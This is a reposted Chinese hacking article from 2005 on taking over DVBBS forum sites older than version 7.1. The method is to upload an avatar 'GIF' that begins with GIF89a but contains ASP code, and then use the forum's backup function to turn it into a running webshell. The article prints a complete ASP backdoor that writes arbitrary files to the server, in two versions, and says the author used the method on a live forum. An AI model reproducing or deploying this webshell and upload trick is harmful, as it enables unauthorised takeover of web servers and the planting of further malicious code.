首页 电脑 电脑学堂 查看内容

GIF89a结合动网后台(7.1以前)取得webshell的完整解释

2005-4-11 05:52 660 0

摘要: 作者:喜欢忧伤   来源:http://www.powers.com.cn背景:(1)动网上传文件,备份得到后门(2)使用GIF89a可以上传内容为木马的gif图片:逃过头像上传的...
关键词: GIF89a 后门 问题 助手 图片 gif 站长 内容 解释 就是

作者:喜欢忧伤   来源:http://www.powers.com.cn背景:(1)动网上传文件,备份得到后门(2)使用GIF89a可以上传内容为木马的gif图片:逃过头像上传的检测。所以产生了新的方法:上传gif头像图片,备份得到木马了。(使用范围为:动网7.1以前的版本)但是很多人在执行后门后出现的是一张不能显示的图片.偶还是公布一下我用了恩久的更方便的方法,同时解释一下为什么会出现这种情况.:就是GIF89a加站长助手,运行后门的时候看到的就是站长助手的界面,唯一的不同就是左上角多了GIF89a几个字。这个方法在一看到背景(2)就用在一个论坛的测试上了。。呵呵gif内容如下:-----以下为gif图片内容(GIF89a下面是站长助手的内容,不用多看了)----GIF89a<%'站长助手的内容...省略...%></body></center>-----以上为gif图片内容(GIF89a下面是站长助手的内容,不用多看了)----其实真正问题是这样的:执行由gif文件恢复过来的asp,最后显示成一张不能显示的图片:其实这个过程有两个:(1)asp解释执行(2)你的浏览器的显示.(1)是没有问题.现在问题是出在你的(2)上面的.(2)出问题的原因是浏览器的解释问题.解决办法:只要把显示的代码放到<body></body>之间就可以了.本来是这样的:执行后显示一张不能显示的图片.GIF89a <% dim objFSO %><% dim fdata %><% dim objCountFile %><% on error resume next %><% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %><% if Trim(request("syfdpath"))<>"" then %><% fdata = request("cyfddata") %><% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %><% objCountFile.Write fdata %><% if err =0 then %><% response.write "<font color=red>save Success!</font>" %><% else %><% response.write "<font color=red>Save UnSuccess!</font>" %><% end if %><% err.clear %><% end if %><% objCountFile.Close %><% Set objCountFile=Nothing %><% Set objFSO = Nothing %><% Response.write "<form action='' method=post>" %><% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>" %><% Response.Write "<input type=text name=syfdpath width=32 size=50>" %><% Response.Write "<br>" %><% Response.write "本文件绝对路径" %><% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %><% Response.write "<br>" %><% Response.write "输入马的内容:" %><% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %><% Response.write "<input type=submit value=保存>" %><% Response.write "</form>" %>修改后:执行正常了。.后门就正常使用了。.哈哈GIF89a <body><% dim objFSO %><% dim fdata %><% dim objCountFile %><% on error resume next %><% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %><% if Trim(request("syfdpath"))<>"" then %><% fdata = request("cyfddata") %><% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %><% objCountFile.Write fdata %><% if err =0 then %><% response.write "<font color=red>save Success!</font>" %><% else %><% response.write "<font color=red>Save UnSuccess!</font>" %><% end if %><% err.clear %><% end if %><% objCountFile.Close %><% Set objCountFile=Nothing %><% Set objFSO = Nothing %><% Response.write "<form action='' method=post>" %><% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>" %><% Response.Write "<input type=text name=syfdpath width=32 size=50>" %><% Response.Write "<br>" %><% Response.write "本文件绝对路径" %><% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %><% Response.write "<br>" %><% Response.write "输入马的内容:" %><% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %><% Response.write "<input type=submit value=保存>" %><% Response.write "</form>" %></body>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部